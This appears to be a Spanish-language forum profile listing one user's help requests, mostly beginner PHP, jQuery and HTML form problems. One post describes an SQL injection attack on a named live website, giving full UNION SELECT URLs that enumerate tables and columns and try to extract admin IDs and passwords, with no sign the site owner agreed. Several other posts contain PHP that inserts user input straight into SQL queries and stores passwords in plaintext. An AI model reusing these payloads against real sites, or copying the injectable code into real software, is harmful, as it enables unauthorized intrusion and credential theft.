Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - janisorna

#1
Desarrollo Web / Problema con formulario
6 Septiembre 2013, 19:51 PM
Hola a todos,
estoy haciendo un formulario de registro que cuando escribes por ejemplo el usuario, utilizando jquery i ajax, se comprueva que el usuario no exista en la base de datos, si ya existe sale un mensaje debajo del campo de texto.
Hasta aquí todo bien pero el problema es que aún que me salga el mensajito de "Este nombre de usuario ya existe", si le doy clic a enviar se envia igualmente. Lo que me gustaria saber es como hacer para que si sale el mensaje de "error" no se envie.

Codigo Jquery i Ajax

<script src="jquery-1.10.2.min.js" type="text/javascript"></script>
<script type="text/javascript">
$(document).ready(function(){                     
var consulta;
$("#usuari").blur();
$("#usuari").change(function(e){
consulta = $("#usuari").val();
$("#usersql").queue(function(n) {     
                                           
$("#usersql").html('<img src="ajaxloader.gif" />&nbsp;&nbsp;<font size="2">Comprovant...</font>');
                                           
$.ajax({
type: "POST",
url: "verificauser.php",
data: "b="+consulta,
dataType: "html",
error: function(){
alert("error petició ajax");
},
success: function(data){                                                     
$("#usersql").html(data);
n();
}
});
                                           
});
                               
});
                         
});
</script>


Codigo PHP que se llama para hacer la comprovación (verificauser.php)

<?php
$user 
$_POST['b'];
if(!empty(
$user)) {
comprobar($user);}
       
function 
comprobar($b) {
$con mysql_connect('localhost','usuario''contraseña');
mysql_select_db('nombrebd'$con);
       
$sql mysql_query("SELECT * FROM tabla WHERE usuari = '$b'",$con);
             
$contar mysql_num_rows($sql);
             
if(
$contar == 0){
                  echo 
"<span style='font-size:12px;font-weight:bold;color:#16DF00;'>OK</span>";
}else{
echo 
"<span style='font-size:12px;color:red;'>Usuari ja existent</span>";
}
}     
?>


Graciass!!  ;D
#2
Hola a todos!

Estoy haciendo una pagina de registro la cual quando envias el formulario te envia un correo de confirmación con una url para terminar el registro, pero el problema es que cuando le doy clic a la url me sale el siguiente error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

Necesitaria saber a que se debe y como lo puedo solucionar.

Os dejo los codigos a continuación:



<?php
require('phpmailer/class.phpmailer.php');
$mail = new PHPMailer();
$mail->Host 'ssl://smtp.gmail.com';
$mail->Port 465;
$mail->IsSMTP();
include (
'funciones.php');
$user $_POST['user'];
$pass $_POST['pass'];
$pass2 $_POST['pass2'];
$email $_POST['mail'];
if(
$pass !== $pass2){
echo 
'Las contraseñas no coinciden.';
}else{
$codic rand(0000000000,9999999999);
if(!
mysql_query("INSERT INTO noactiu (usuario,contraseña,email,codigo) values ('$user', '$pass', '$email', '$codic')")){
die (
msql_error());
}else{
$mail->From     "email@gmail.com";
$mail->FromName "Nombre";
$mail->AddAddress($email);
$mail->WordWrap 50;
$mail->IsHTML(true);
$mail->Subject  =  'Activación de cuenta';
$mail->Body     =  'Para completar el registro haz clic en el siguiente link:<br>.
echo <a href ="http://pagina.com/confirma.php?codic='
.$codic.'">http://pagina.com/confirma.php?codic='.$codic.'</a>';
$mail->AltBody  =  strip_tags($mail->Body);
$mail->SMTPAuth true;
$mail->Username 'email';
$mail->Password 'contraseña';
if (
$mail->Send()){die('Hemos enviado un email de confirmación a tu correo');
}else{
die(
'Ha habido un problema a la hora de enviarle el mensaje de confirmación');
}
}
}
?>


Confirma.php
<?php
$v 
$_GET['codic'];
include(
'funciones.php');
$query "SELECT * FROM noactiu WHERE codigo = '".$v."'";
$buscar mysql_query($query) or die('Error: Ha habido un problema con el query');
if(
$resultado mysql_num_rows($buscar) == 1){
if(!
mysql_query("DELETE FROM noactiu WHERE codigo = '".$v."' LIMIT 1")){
die(
mysql_error());
}
if(!
mysql_query("INSERT into noinject (usuario,contraseña,email) values ('".$resultado['usuario']."','".$resultado['contraseña']."','".$resultado['email']."'")){
die(
mysql_error());
}
echo 
'¡Felicidades has sido registrado correctamente!';
}else{
die(
'URL no válida');
}
?>


Graciass!!  ;D
#3
Bugs y Exploits / Problema con inyección SQL
9 Julio 2013, 02:08 AM
Hola a todos!

Estoy haciendo un trabajo sobre vulnerabilidades informáticas i ahora las estoy probando para ver su funcionamiento, he estado haciendo inyección SQL en una web i al principio todo iba perfecto, he podido ver los nombres de las tablas, he encontrado la de admin, he podido ver los nombres de las columnas, pero a la hora de mostrar la información que contiene la tabla me sale este error:

Warning: mysql_fetch_row() expects parameter 1 to be resource, boolean given in /nfs/c01/h12/mnt/9330/domains/blamm.com/html/top10.php on line 17

A continuación os dejo los pasos que he seguido para llegar hasta donde estoy, si veis algun error decidmelo porfavorr.

Para ver el nombre de las tablas:

http://www.blamm.com/top10.php?id=-8+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47+from+information_schema.tables+limit+0,1--

Para ver el nombre de las columnas:

http://www.blamm.com/top10.php?id=-8+union+select+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47+from+information_schema.columns+where+table_name=char(97,100,109,105,110)+limit+0,1--

admin = 97,100,109,105,110

I finalmente para ver la información de la tabla (aquí es donde me da error):

http://www.blamm.com/top10.php?id=-8+union+select+1,2,3,group_concat(admin_id,0x3a,admin_password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47+from+admin--

Porfavor ayudadmee!!  ;D
#4
Diseño Gráfico / problema con FLASH
19 Abril 2012, 19:30 PM
Hola a todos, tengo un problema con el programa Flash, el caso es que estoy creando una animación con este  pero ahora cuando lo vuelvo a abrir me sale una ventanilla que dice "Formato de archivo inesperado". He probado de descargarme varios recopiladores de archivos flash para convertir el archivo swf a flv pero o no funciona o no lo se hacer, por favor ayudadme, necesito esa animación!!!
#5
PHP / Problema de link en php
31 Enero 2012, 18:50 PM
Hola a todos, yo estoy haciendo un formulario y quiero que en el mensaje que envie a quien lo reciva le salga un link en el que clicar y ir a la pagina del link, pero no lo se hacer. Aquí hos dejo el código.
PORFAVOR AYUDADME!!!!!!!



<?php
$de 
$_POST['de'];
$para $_POST['para'];
$receptor "$para";
$mensaje "<html>
<body>
<a href="
http://pagina_web.com">Nombre de la pagina</a>";
mail($para,"Asunto",$mensaje,"From: ".$para." <".$de.">");
include(
"correcto.html");
?>

#6
Hola a todos, he echo un formulario donde todo ya està validado menos los radio buttons, i no se como hacerlo. Aquí hos dejo el código:
Porfavor ayudadme!!!


Citar
<html>
<head>
<title>Formulario para el curso</title>
<script language="javascript">
function Valida(){
if(fvalida.nombre.value==""){alert('campo sin rellenar');return false;}
if(fvalida.edad.value==""){alert('campo sin rellenar');return false;}
if(fvalida.email.value==""){alert('campo sin rellenar');return false;}
if(fvalida.telm.value==""){alert('campo sin rellenar');return false;}
if(fvalida.telf.value==""){alert('campo sin rellenar');return false;}
if(fvalida.experiencia.value==""){alert('campo sin rellenar');return false;}
if(fvalida.curso.value==""){alert('campo sin rellenar');return false;}
if(fvalida.medicamentos.value==""){alert('campo sin rellenar');return false;}
}
</script>
</head>
<body>
<font face="arial">
<center><b><font size="5">Formulario</font></b></center>
<form name="fvalida" method="post" action="enviar2.php" onsubmit="return Valida()">
Nombre:
<input type="text" name="nombre" size="12">
<br>
<br>
Edad:
<input type="text" name="edad" size="12" maxlength="2">
<br>
<br>
Correo electrónico:
<input type="text" name="email" size="12">
<br>
<br>
Teléfono Móvil:
<input type="text" name="telm" size="12" maxlength="9">
<br>
<br>
Teléfon Fijo:
<input type="text" name="telf" size="12" maxlength="9">
<br>
<br>
<table>
<tr>
<td>
¿Tienes pareja?
</td>
<td>
<input type="radio" name="pareja"
value="sí">
Si.<br>
<input type="radio" name="pareja"
value="no">
No.<br>

</td>
</tr>
</table>
<br>
<br>
<table>
<tr>
<td colspan="2" valign="top">
¿Tienes alguna experiencia?</td>
<td><textarea name="experiencia" cols="30" rows="5">
</textarea>
</td>
</tr>
</table>
<br>
<br>
<table>
<tr>
<td colspan="2" valign="top">
¿Como te has enterado?</td>
<td><textarea name="curso" cols="30" rows="5">
</textarea>
</td>
</tr>
</table>
<br>
<table>
<tr>
<td>
¿Eres Vegetariano/a?
</td>
<td>
<input type="radio" name="vegeteriano"
value="sí">
Si.<br>
<input type="radio" name="vegetariano"
value="no">
No.<br>

</td>
</tr>
</table>
<br>
<br>
<table>
<tr>
<td colspan="2" valign="top">
¿Tomas algún medicamento? ¿Qual?</td>
<td><textarea name="medicamentos" cols="30" rows="5">
</textarea>
</td>
</tr>
</table>
<br>
<br>
<br>
<input type="submit" name="enviar" value="Enviar">
<input type="reset" value="Borrar" name="borrar">
</table>
</form>
</font>
</body>
</html>
#7
Hola a todos, he echo un formulario i ahora quiero validar sus campos pero quando le doy a enviar no me sale la alerta de que te dejas un campo por rellenar.
Aquí dejo el codigo:
Porfavor ayudadme!!!


Código (javascript) [Seleccionar]

<html>
<head>
<title>Formulario para el curso</title>
<script>
function valida_envia(){
//valido el nombre
if (document.fvalida.nombre.value.length==0){
alert("Tiene que escribir su nombre")
document.fvalida.nombre.focus()
return0;
}
//valido la edad. Tiene que ser entero mayor que 18
edad = document.fvalida.edad.value
edad = ValidarEntero(edat)
document.fvalida.edad.value=edat
if(edat==""){
alert("Tiene que indicar su edad")
document.fvalida.edad.focus()
return 0;
}else{
if (edad<18){
alert("Debe ser mayor de 18 años.")
document.fvalida.edad.focus()
return 0;
}}
//valido el correo electrónico
if (document.fvalida.email.value.length==o){
alert("Tiene que poner su correo electrónico")
document.fvalida.email.focus()
return 0;
}
//valido el teléfono móvil.
telm = document.fvalida.telm.value
telm = ValidarEntero(telm)
document.fvalida.telm.value=telm
if(telm==""){
alert("Tiene que poner su teléfono móvil")
document.fvalida.telm.focus()
return 0;
}
//valido el telefono fijo.
telf = document.fvalida.telf.value
telf = ValidarEntero(telf)
document.fvalida.telf.value=telf
if(telf==""){
alert("Tiene que poner su teléfono fijo")
document.fvalida.telf.focus()
return 0;
//valio si tienes experiencia.
if(document.fvalida.experiencia.value.length==0){
alert("Tienes que rellenar el campo de si tienes experiencia")
document.fvalida.experiencia.focus()
return 0;
}
//valio como te has enterado.
if(document.fvalida.curso.value.length==0){
alert("Tienes que rellenar el campo de com te has enterado del curso")
document.fvalida.curso.focus()
return 0;
}
//valido si tomas algún medicamento.
if(document.fvalida.medicamentos.value.length==0){
alert("Tienes que rellenar el campo de si tomas algun medicamento.")
document.fvalida.medicamentos.focus()
return 0;
}
</script>
</head>
<body>
<form name="fvalida" method="post" action="enviar2.php">
Nombre:
<input type="text" name="nombre" size="12">
<br>
<br>
Edad:
<input type="text" name="edad" size="12" maxlength="2">
<br>
<br>
Correo electrónico:
<input type="text" name="email" size="12">
<br>
<br>
Teléfono Móvil:
<input type="text" name="telm" size="12" maxlength="9">
<br>
<br>
Teléfon Fijo:
<input type="text" name="telf" size="12" maxlength="9">
<br>
<br>
<table>
<tr>
<td>
¿Tienes coche?
</td>
<td>
<input type="radio" name="coche"
value="sí">
Si.<br>
<input type="radio" name="coche"
value="no">
No.<br>
</td>
</tr>
</table>
<br>
<br>
<table>
<tr>
<td colspan="2" valign="top">
¿Tienes alguna experiencia?</td>
<td><textarea name="experiencia" cols="30 rows="5">
</textarea>
</td>
</tr>
</table>
<br>
<br>
<table>
<tr>
<td colspan="2" valign="top">
¿Como te has enterado del curso?</td>
<td><textarea name="curso" cols="30" rows="5">
</textarea>
</td>
</tr>
</table>
<br>
<br>
<table>
<tr>
<td>
¿Eres Vegetariano/a?
</td>
<td>
<input type="radio" name="vegeteriano"
value="sí">
Si.<br>
<input type="radio" name="vegetariano"
value="no">
No.<br>
</td>
</tr>
</table>
<br>
<br>
<table>
<tr>
<td colspan="2" valign="top">
¿Tomas algún medicamento? ¿Qual?</td>
<td><textarea name="medicamentos" cols="30" rows="5">
</textarea>
</td>
</tr>
</table>
<br>
<br>
<br>
<input type="button" value="Enviar" onclick="valida_envia()">
<input type="reset" value="Borrar" name="borrar">
</table>
</form>
</body>
</html>

#8
PHP / Problema con Formulario php
29 Diciembre 2011, 13:16 PM
Hola a todos, estoy haciendo un formulario con html i php, pero tengo un problema, quando pincho sobre el boton de enviar en lugar de que el php envie el formulario i mustre un mensage de agradecimiento me sa le todo el codigo php como si fuera un documento "txt".
Aquí les dejo el formulario i así me pueden decir si hay algun error.
PORFAVOR AYUDANME!!!


CODIGO HTML:

Citar
<html>
<head>
<title>Formulario para el curso</title>
</head>
<body>
<form id="form" name="form" method="post" action="enviar2.php">
Nombre:
<input type="text" name="nombre" size="12">
<br>
<br>
Edad:
<input type="text" name="edad" size="12"
maxlength="2">
<br>
<br>
Correo electrónico:
<input type="text" name="email" size="12">
<br>
<br>
Teléfono Móvil:
<input type="text" name="telm" size="12"
maxlength="9">
<br>
<br>
Teléfon Fijo:
<input type="text" name="telf" size="12"
maxlength="9">
<br>
<br>
<table>
<tr>
<td>
¿Tienes coche?
</td>
<td>
<input type="checkbox" name="coche"
value="sí">
Si.<br>
<input type="checkbox" name="coche"
value="no">
No.<br>
</td>
</tr>
</table>
<br>
<br>
<table>
<tr>
<td colspan="2" valign="top">
¿Tienes alguna experiencia?</td>
<td><textarea name="experiencia" cols="30 rows="5">
</textarea>
</td>
</tr>
</table>
<br>
<br>
<table>
<tr>
<td colspan="2" valign="top">
¿Como te has enterado?</td>
<td><textarea name="curso" cols="30" rows="5">
</textarea>
</td>
</tr>
</table>
<br>
<br>
<table>
<tr>
<td>
¿Eres Vegetariano/a?
</td>
<td>
<input type="checkbox" name="vegeteriano"
value="sí">
Si.<br>
<input type="checkbox" name="vegetariano"
value="no">
No.<br>
</td>
</tr>
</table>
<br>
<br>
<table>
<tr>
<td colspan="2" valign="top">
¿Tomas algún medicamento? ¿Qual?</td>
<td><textarea name="medicamentos" cols="30" rows="5">
</textarea>
</td>
</tr>
</table>
<br>
<br>
<br>
<input type="submit" value="Enviar" name="enviar">
<input type="reset" value="Borrar" name="borrar">
</table>
</form>
</body>
</html>

CODIGO PHP: (enviar2.php)

Citar
<?php
$receptor = "correo@electronico";
$nombre = $_POST['nombre'];
$edad = $_POST['edad'];
$email = $_POST['email'];
$telm = $_POST['telm'];
$telf = $_POST['telf'];
$coche = $_POST['coche'];
$experiencia = $_POST['experiencia'];
$curso = $_POST['curso'];
$vegetariano = $_POST['vegetariano'];
$medicamentos = $_POST['medicamentos'];
$thank = "gracias.html"
$msg =
Nombre: $nombre
Edad: $edad
Email: $email
Telf.Móvil: $telm
Tel. Fijo: $telf
Coche: $coche
Experiencia: $experiencia
Enterado curso: $curso
Vegetariano: $vegetariano
Medicamentos: $medicamentos
if (mail($receptor,"Formulario enviado",$msg,"From: ".$nom." <".$email.">")) Header ("Location: $thank")
?>

GRACIAS.HTML

Citar
<html>
<head>
<title>Enviado</title>
</head>
<body>
<h1>Gracias por enviar el formulario</h1>
<body>
</html>